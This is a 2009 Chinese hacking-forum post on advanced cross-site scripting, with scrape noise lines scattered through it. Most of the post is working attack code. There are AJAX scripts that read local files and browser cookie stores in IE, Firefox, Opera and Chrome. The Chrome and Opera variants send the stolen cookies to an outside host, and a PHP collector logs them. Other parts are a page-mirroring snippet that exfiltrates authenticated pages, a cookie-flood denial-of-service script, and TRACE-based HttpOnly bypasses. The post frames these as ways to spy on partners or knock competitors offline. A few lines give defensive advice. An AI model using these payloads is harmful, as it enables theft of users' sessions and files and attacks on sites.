XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
, X0 O8 j9 D) j本帖最后由 racle 于 2009-5-30 09:19 编辑
8 P8 w% A/ ?9 {
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
2 @9 ?( A& l: ~) F  j6 i7 t) XBy racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
/ O, X) I' R- d6 V/ h, S$ l转帖请保留版权
& u3 L) j8 w) _3 _
0 r" C, V- w# e+ o1 P
, B* x3 h8 I2 p* q+ ?( ^' ~: _' F. ?
5 Q, M- W$ D2 c+ m. j-------------------------------------------前言---------------------------------------------------------

) U; I5 N" ^. l' B# h
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
, p: S& S  A* E4 w% A

% _, [9 O7 N0 j" ]* {如果你还未具备基础XSS知识,以下几个文章建议拜读:
% I9 [* M: p) U/ E( U/ [http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
( t( u% l3 ~$ a- n& a7 yhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
+ g! V- q4 s; v8 C7 ~6 W# Chttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
- C- C7 e  q3 U6 `) A6 \, Q& Qhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
: i- U0 ^, s( E, @5 N/ f( Uhttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
2 D8 N' r1 h( z2 Z6 ]http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
! \9 K* a( X) a/ {* @


* }( k4 F! I; A6 q- {/ I7 T
. i( |7 V" U+ S# o- y4 L如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
1 W2 b% v/ E$ t6 w4 ~8 f
0 F) j. |4 R& _希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

# h4 U# _  b9 M: b* f如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
) G  s3 h0 v9 }( G6 w- ]0 D1 w
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

& a0 C$ E* S: ?& hQQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
复制代码------------------------------------------介绍-------------------------------------------------------------
" q- ]! l  j0 H8 U" W# P# e2 H
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.



跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
: S6 O: q6 r1 j; K7 D
, g- S1 G# a7 z+ c, Z9 b0 @

如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
) f; I5 E2 `5 [% ^) d复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
# p; J# `* j7 v  c2 e8 k" y我们在这里重点探讨以下几个问题:
7 g) S- T: a) a
6 u& B! g7 `# S8 `$ n2 b1        通过XSS,我们能实现什么?
5 @  Z, z( j  q
1 @# B6 m! l8 _& m4 A2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.



------------------------------------------研究正题----------------------------------------------------------
4 b2 p. J& U6 x6 t# @5 O( `
! w8 r' \9 e* u( X  y
2 I6 w) U- Y' o+ @( C/ ]; n" s3 d
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
2 X. ~. i1 h' h2 {2 a! B! X复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
7 m, Y$ n: U1 q! ?/ }2 ], `4:Http-only可以采用作为COOKIES保护方式之一.

3 V# G& r5 S# G$ o+ f& g
0 _+ J6 ?6 U( g$ y' B
. r5 l' I' j3 o) M
1 C% p" B! E( ^0 Z" a% l8 Z
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
; P" p( F& |1 u1 b- I0 l5 R
0 }( ]' _6 l$ {/ M) U, I& Z2 \0 C我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
# T5 P# u# ^. ~" F2 d
. ?" `4 w, @8 A

  d* Y1 b2 O( f' I  G9 R3 G    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。



0 s% ^) y0 A8 ^4 N% R" a7 V    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。


9 Z2 P# F* [2 }4 u. p+ A
. J; u! R) {; r1 w* I7 B+ z    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

8 n6 N- g$ |* N6 m  L    function $(x){return document.getElementById(x)}
) w9 x% ?. O6 B7 c3 O% i
) n' a. U2 k7 h$ I# q
0 Q, z" d  r+ D! ~' F6 @
    function ajax_obj(){

, J2 F" q$ Y, G  O    var request = false;

    if(window.XMLHttpRequest) {

# R3 r. _: }" w& m; B: ?1 ]9 \    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
0 R3 \( ^2 q7 \2 [9 [, v# b
9 n4 b$ \! x& H8 s2 @  b5 s9 o. \, ?    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

: `+ n* Y; Q7 X0 y( Z2 e. g

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {
% d9 y. s9 o% d5 D, D
! ?3 ^+ ?: B& ^# s+ S) f    try {

- V8 p) D' d/ h- g    request = new ActiveXObject(versions);

  F" R  ]! s4 T4 S. b    } catch(e) {}
$ T4 U7 o2 P( }! [8 e1 l
    }

8 e# T& ?7 r& U' a    }
5 O& M; w9 w& o( P& Q
    return request;
; N3 l+ O& @% k/ k9 p4 ^
& L' W, }8 y" Q, v7 }, ]2 `  c; r    }
2 v; E8 Z5 Y# K& X( ?* _
    var _x = ajax_obj();
! U- K, B. [5 @+ l2 b* Q- u6 B
    function _7or3(_m,action,argv){
1 Y7 I& C0 c' }2 o; p: d* K
    _x.open(_m,action,false);

/ b2 F- N) P7 U' l0 B# ^0 J    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

    return _x.responseText;

    }



# x# |4 J& Y8 K- E% @; Y    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

    alert(txt);
( B4 K- D, S: A; D- q- }( j& X
! Q$ n3 L2 w( p1 a

    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
3 {+ M% H1 ?$ N' i: n  X* E
5 q% J4 Z8 m& ^* g- Y    function $(x){return document.getElementById(x)}
: R1 D1 F" i: s
3 D1 m  h$ @* `) ~7 ]

  Y/ B5 t7 |5 I: E    function ajax_obj(){
$ I0 n5 B: V1 J% {! e
    var request = false;

    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

' d8 l5 f, g- u" ?+ X) c; @    } else if(window.ActiveXObject) {

8 k% ~+ G; }7 }6 j- x9 p5 d    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
6 k9 O5 k8 p( R: q


; @4 s2 \' |' J0 T; T+ Q# h    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
4 @( J0 Z  i; K, J# L8 g
    for(var i=0; i<versions.length; i++) {

    try {

& I4 N* _* W) a+ |- C0 s    request = new ActiveXObject(versions);

    } catch(e) {}
" v( {+ w) ^1 E
) m) [* `0 ~0 u% ^    }
# m/ M% U  M: A6 W5 w7 u: e* b* Z' Z  D
6 f) @$ j( P6 S4 H    }

    return request;

    }

    var _x = ajax_obj();

) w% h2 o, `& M8 E    function _7or3(_m,action,argv){
9 D! V- G  ^) H6 G# C
' p! |/ C! X$ i* w) a    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
, w3 T  t) ~9 J& X$ c
    _x.send(argv);
. H9 y  Q. t% h# v4 R8 ~
    return _x.responseText;

% w& ?1 ~6 o  [# J+ |- J' z( Y2 E! D    }
2 e' n4 h4 ^/ O% A& Z$ X


: f6 U: F  r% G* q8 e! U: i    var txt=_7or3("GET","1/11.txt",null);
3 C; _* E0 |& @( t0 h& |% x1 D4 o
2 O% T/ x" ]% O9 h% ]5 e" W# W* @    alert(txt);



( G- u, L: n* l; y! N: s    </script>
0 T' t2 ^2 p  O$ l复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
9 [4 B8 r0 }' _' W1 w' P
9 l8 O, o) U& q& ?" j5 H; m
7 v/ Q; Q9 }" t
! d9 q3 K7 T2 HChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
3 B. N, b* l' A- G0 c
. A" m$ h: I2 Y6 M. E2 R+ j
+ h( {: X1 E9 [4 k  k
5 N9 o# g. T# b3 g- n. |/ j<?   

( g. s. i. l: q: Z% r6 i2 ^/*  
0 n! Y. t$ v* q5 F5 `5 a* B
; t7 b) z9 K$ H. N& I/ U0 C     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
( Y0 A! Y6 R8 T! E( N( J# p) F9 ~& L
( c6 l$ q2 _  j6 {5 T  @' ?     www.inbreak.net   
! Q& Z2 K4 N0 |9 q" \2 b% X
% J3 b7 ~8 j+ w# b+ ^- s+ ~, c. ]     author voidloafer@gmail.com 2009-4-22   

: U$ |: |( X1 g  O7 v3 P8 s8 D     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

2 B* |! _' r6 J# v* r*/  
  ~4 z" R$ V9 D% m2 M
header("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   

/*  
0 E7 K' X* ^6 z7 E
3 l$ W9 g- J2 \7 L     set header, so just download html file,and open it at local.  
: K! o# {3 V( i+ p7 x2 `1 D
*/  
* v2 m& H- S# H( T. u! }
?>   
: y6 h4 p% {( [
<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

% T8 m% _1 R' J3 A/ x. S1 k6 J3 z     <input id="input" name="cookie" value="" type="hidden">   

</form>   
8 K9 D- b3 y0 ~) W, e
<script>   

- M9 G" y- G+ V, f2 o' [7 {function doMyAjax(user)   

8 d- A4 x8 v) i{   
1 g' ~! k: H* U$ b, E
8 I' j/ P9 b+ T) ~! [$ V' |% r$ `var time = Math.random();   
( }. t7 {. a! u/ C3 R) X! t" a
* [# f. e3 X! g) Y0 N7 a, x8 {  O/*  
# i# H2 H) D! T2 q# D/ i+ w# w
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
; F* H1 q4 e0 z0 X+ ?
+ ]" H; P6 t1 s3 J' x8 f2 }3 band the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

  l- ~( b9 `2 ~and so on...  

4 T4 H# e+ A6 B0 ?# B' y( ?*/  
( U8 K& d+ f- a
" D+ i7 o5 {( e) f9 ]5 Q7 Evar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
' k  q- ~; o/ M: F& f& y# m0 [
   
( ~( j* y" e6 ]3 J" p1 p3 w
startRequest(strPer);   

0 t/ n+ N! J( x8 ]3 i

% C- T' d8 A7 G. a' B}   
0 z, U4 E8 R# w# \- B# S; {
   

function Enshellcode(txt)   

{   
  C  n' w" |- x% X% z. h
var url=new String(txt);   

. C5 z' T) k+ C6 H5 [var i=0,l=0,k=0,curl="";   

/ A: c$ r7 U* @7 |# y" I/ ~+ t0 `l= url.length;   
! Y; C# [1 z+ X6 k+ U
; a- ^& e0 F" \8 P; O- D# e  k8 xfor(;i<l;i++){   
8 w! J0 d5 B. p" u$ \3 e
k=url.charCodeAt(i);   
% d" E/ Y) U' x: Y4 C) t5 K
7 @* C: l" _3 z: V) c' nif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   
% o/ i" E9 B. w' B; ~. A
, z  k6 e6 i% r3 s, h5 {. \curl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   
" |& i& v6 J* O) ~  _% R! B3 s
}   
+ E( b( q+ p. l3 I6 V
   
7 K  _# `$ A5 M+ L
   
* R6 r( Q' l3 j) e. ~
var xmlHttp;   

function createXMLHttp(){   

$ L, p- {; L; a; d+ `6 Q& f1 U     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           

2 o! F+ u" C6 f9 D/ }4 {/ @     }   
/ e1 c- i6 E0 Z9 c
     else if(window.ActiveXObject){   

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
+ K2 m4 @1 `' r
# d+ S, b1 z2 k! a     }   
5 |( J4 N# s% @' q1 _; }7 i
6 j* Y; Z, |8 b, @}   
7 ?# F* h1 E3 E( m; {
; ?, ?/ `& Y( A) M   
5 w7 C2 u; E# q3 s% R
function startRequest(doUrl){   
, q( m+ H1 P5 z( X' i6 Y$ E; A6 I
2 h! q/ b; `: m! y" q8 Y  L+ X1 f3 d   
: Q& I+ z: d3 v: @2 T) P
     createXMLHttp();   
) _+ y0 S$ H6 C- t9 q

  g3 V8 h" h9 n/ `! u" Y" v
     xmlHttp.onreadystatechange = handleStateChange;   
! g  z/ u& j5 c; m6 c, z

8 }/ j4 D  Y, L6 @% V+ @" I$ F: A4 A
, Q2 b! i! }+ e     xmlHttp.open("GET", doUrl, true);   
. O8 I4 Y$ _$ e3 u, R9 N: O5 q# u
3 ~7 }& O. u3 n! h  V0 F( E' E
( T% U" P% s& x: g7 l
0 `6 ^% m! \3 J% e     xmlHttp.send(null);   

, I) E+ t  r+ u# _6 n: D



/ G7 v1 ^% s& ]3 e}   

   
. A; P' `4 s! m3 f
- r, p4 Q& u' N1 Jfunction handleStateChange(){   
5 o, S& a  l) p& u+ i0 j
2 X" u- m0 J0 E# C% C  M     if (xmlHttp.readyState == 4 ){   
6 O& `( v; A2 M. T) z5 M
     var strResponse = "";   

! ]7 b, n+ Q/ |     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
& D" ^$ d; b* J+ g' V2 c
* Y! [+ M- k/ P2 h/ s2 M# W3 Q        
. g; X6 W9 b# @: B
, P& \- }% U9 A6 b; Z" o     }   

% n' r. |# K  w8 I4 G0 E( C  B5 X# j}   
# H8 V+ b- ~3 j
8 e5 I. f# O! {/ E9 F- C   
) }  Z& t4 V6 u. F
   
) a& B- k% V$ H5 c9 _
7 N9 w5 `' _" o' Y% }% E' [function framekxlzxPost(text)   

: n+ t* f# h0 r6 I8 }9 [6 N, v{   

3 x# t& w5 `% }9 g9 ?& l     document.getElementById("input").value = Enshellcode(text);   
5 _$ G6 @$ C+ y% d. m: M
# |' Y  b* R% [; J6 U     document.getElementById("form").submit();   

! ?' v. T# G" q' i6 w}   
; C' j8 C0 y% r# D) v: D6 X2 |0 }
& C% `/ U" Y* E2 N; D   
/ R! j* t, ^/ B  o+ k. _
doMyAjax("administrator");   
: `1 i+ a3 _8 b: R( k
, u8 l) w3 h) O; F* b$ J   
' l4 a* \( @3 W2 I
</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
7 j0 Q5 J3 G- e6 I9 v, T. D6 ?
var xmlHttp;  
: X: u+ [  y  {2 U
function createXMLHttp(){  

( R! l% o' F6 K3 D0 i' L6 S     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         

# ^# z+ t2 W3 N  I. r8 O     }  
- I- `, N& h6 R( s. Z( ?) ^! N
( f3 b6 C) j* I  \' T; q     else if(window.ActiveXObject){  
( Y. m$ C* V2 z, M
- d: ?( V4 m" F3 ]: @9 V         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
$ k! q) K2 J+ |+ r, i) c4 z
* m& i% Z, E- [; s7 t6 y- ~     }  
/ u% J: p- L& V: {- d4 c
}  

: r6 F/ }5 n; ]7 n( L3 S  |   

: c5 B+ {0 {, x' B& Ifunction startRequest(doUrl){  
9 j! t; |5 Q. t3 d, ~# X
: h- M% j6 j* g2 m4 [# @% g           
- c. T  e1 j5 T$ e" ^/ N
. x, Y2 S% d" \% D; p/ {2 D     createXMLHttp();  
  o2 j& T# u# T- H% M
/ N5 e1 H: o6 V) Q/ y/ z      

     xmlHttp.onreadystatechange = handleStateChange;  

      
  c- l& A5 s) F( t, z) t) \% Q
     xmlHttp.open("GET", doUrl, true);  

      
) ?* a5 s( F8 w! n5 u  X5 Y$ }! b
     xmlHttp.send(null);  

      

      

}   
: y/ ^- G: g9 e# x
8 S6 K7 V# [, ~* t3 e+ h, W- `   

function handleStateChange(){  
, `9 C. ]: ~0 i- U% J
     if (xmlHttp.readyState == 4 ){  

/ e6 v6 t1 _, p: k9 r/ Q; {8 t             var strResponse = "";  
! y$ `. o- n0 J8 j4 T. X. b
# X- x1 {2 x1 e5 J' d6 K$ N# ^3 ^4 b& m* p             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

( d$ y  u! e. {' S9 A7 E- l- }               
, C* ~7 O' p* x" s, B& S! C
2 i9 ]% p0 O: d; \8 j1 Z     }  
8 H5 C* |9 b; U) D3 s. U
}  
/ F/ \% Z5 B7 u( ]
   

function doMyAjax(user,file)  
8 `5 |+ _1 L. N
( h  x+ O, ^! W: ~( W6 I{  
) }1 F7 V6 i& H* a2 |
         var time = Math.random();  
& ~% ^6 {6 k2 f* _
, h3 D  b, @3 l* B! x           

7 T' I% i: p/ J. t& q* |         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

) [5 P% |# E$ p$ \6 L& Y5 @4 N           
4 f! W6 W- Z# k& e% q0 R6 W
         startRequest(strPer);  
. @. y$ {/ ^# b' B# r  L
: L, m2 r! R: B# U( S$ w      
& ]8 |1 M0 H4 ^: y  _7 u; M
  ?* e0 x- y/ u}  

   

function framekxlzxPost(text)  

{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  
8 y; O. E7 t' L/ t" O( S
6 T/ I4 ]" B8 |. A' t* v. L1 ~}  
' Z5 _& M: ^3 @
   

/ ]  |# f6 \& W# T$ J( S8 hdoMyAjax('administrator','administrator@alibaba[1].txt');  

0 t+ N1 g9 L0 j/ E8 W   

' k" C' w9 ~- T0 ?1 x( l</script>




- J7 |+ X% {) E* o0 g8 a
a.php



9 \: `6 c+ _; P! W7 z<?php      

   
5 a) g5 j3 _4 i/ C7 b& W+ J1 A
7 s6 x1 U" M7 ~. v) N0 F$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
1 D  m3 K: u! s9 }& R
  
' o0 B, D: J! I7 a# S, F
- J$ y3 v/ f; `1 H$ x$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      

fclose($fp);   
- i; J3 R2 t# u
?>
* \" a' a6 J. l  J( b- b复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

* v8 b& J; w! Q* Z8 f或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

& C8 h2 V% |8 ~: J2 D4 N//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
4 v; z- s! ?- D* q3 F- a8 T# i
! n0 x0 H/ h3 f2 V; g: g2 p//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {
( Q( T, c' t; a* I' j
) A. l# D  t6 R, T2 K0 Ivar image = new Image();

image.style.width = 0;

image.style.height = 0;

! j' s9 q7 z$ V: ~' U* J6 Gimage.src = s;

8 t$ u3 _0 ]1 F; t) {}
/ t# m( H7 k; |, E6 k- s4 J& j
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">
- i( {8 L! O* k3 ]
var metastr = "AAAAAAAAAA"; // 10 A

var str = "";

; `, A- t. R' t* \8 m. F5 jwhile (str.length < 4000){
6 [7 P3 `# n4 S
. H# s& T# r* }    str += metastr;
; T$ c9 K7 h- O+ p+ M& v; j
0 F1 M6 Q% ?7 A$ K, I$ N* r}


& e( z8 `0 h, L7 k7 E9 y
, `& C& s/ {; f& s% F1 D; vdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
1 ^- _8 N2 X3 J  b# v
$ t. N% G4 x1 d( y* h. M$ C) N) r0 ^- D</script>
4 C+ D0 c/ \) H% n* r5 U  [! g% x/ S
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
- d$ P& U. e2 M. E: Dserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
1 a1 p6 h7 J" F% N& q1 v
7 W8 _: O6 S1 b- z. m假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
3 G' l* G( d0 D2 P. o' C



5 b# {# \4 M: Y& t
6 j1 j! o0 t! T# j, }. U& O
$ c* X) a* }+ k  k(III) Http only bypass 与 补救对策:
. Z: s9 m% \+ |0 O: i7 O9 O" f
' m/ S/ e0 x7 k; I7 Z& S什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
6 {3 F# ~2 w. \; D/ U, e5 Y以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
& \* I5 Y! ?  M# [% \0 {9 i
- g9 d# S! _  R4 j- [0 X<!--

! M8 Z0 s8 a0 _  Tfunction normalCookie() {

4 S+ D! R0 k4 T' g$ E: wdocument.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);
1 t9 }7 [# |) j) L9 _2 W
}


4 S. H, I5 V: B5 [, O7 n
6 S. ^+ B3 Q& A+ f( q

) f6 g3 B* c- y% a- }function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
8 v# }0 p, O8 l/ F9 P& i
alert(document.cookie);}
, L! B. {+ c  Z. o9 z& E
+ g  U$ ?6 l# Z" O. o. v8 T

//-->
( n/ F6 V. [7 e8 d8 x
</script>

5 w0 z; L! T' J% R; [( H4 V
" g4 G6 M$ G0 _- e* @& N
  l- L# ]# D4 a. ?3 G, ~<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
. x. N4 w& f9 ^2 H& M
1 V( X7 ]; t. M* ]<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
1 Q6 @5 N+ X: i" h

4 O) P# ]+ ^# D& ]! [
+ i2 `5 k8 v2 W+ \% N2 V/ Nvar request = false;

- A( H/ w7 n% |4 W        if(window.XMLHttpRequest) {

5 N( H" ~7 i/ W$ A            request = new XMLHttpRequest();
6 d4 d8 k3 e) k/ S3 k
* Y# R% O2 v2 i4 e: f            if(request.overrideMimeType) {

" t0 j# V1 G* x% q' U* E* ?1 q+ d3 P4 S                request.overrideMimeType('text/xml');
! u& j# h! E" d/ U# ~' a2 i( X* H
* p# u0 K, }# A* a7 u* ?            }
9 e  l. P, X/ `1 b1 J4 S' f0 @" W0 S
        } else if(window.ActiveXObject) {
5 f' e# @0 Z3 J. r, d- m
            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

- k. J& e) E) N& j            for(var i=0; i<versions.length; i++) {

                try {
$ [6 x( o4 }; X4 ?
' p* E3 D/ \& q7 M* Y                    request = new ActiveXObject(versions);

                } catch(e) {}
2 l' x7 t6 Z$ o* U, A
9 e% }) `9 |: H) _& u            }
, ^* s$ f* O( H  ?+ o4 \
1 @8 I' G+ C2 F0 v        }
, Y  Y" n* S1 [) r4 r+ a
xmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);

/ n5 J6 y  u$ [9 k2 I8 D: pxmlDoc=xmlHttp.responseText;
% P" C- ]& g, `, t! `
; i, b: |, I0 W! S( D, Aalert(xmlDoc);
" |3 [' Z5 C+ [/ R! }3 A/ `' h
</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

. F' z" b4 l9 s( c4 ]& w) n, Lvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

3 R6 u; Y  K1 h* W. q0 }XmlHttp.open("GET","http://www.google.com",false);
& P7 ?) D% u0 I5 W" {$ F$ T
0 M5 q4 U4 m1 O5 pXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
% @" ~& v( @7 q/ C; p
XmlHttp.send(null);
- C; k: \" G0 u' U! q4 ^/ {: p% p
  B& t7 S6 G  W5 U( Svar resource=xmlHttp.responseText

resource.search(/cookies/);
) s: U0 l8 y; A0 v
# H3 O' q% s3 Y/ W......................
$ s! r3 o$ D$ R
</script>
/ d/ \3 e6 M1 e& X' w9 b


6 v& ]; L. Q9 P9 p' O+ g: {
2 O! h3 o' D2 S) M# y( v
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

& ]9 `2 E. ]' c# W5 u/ {[code]

6 O3 h, w8 u" M! r( ]: ^RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE
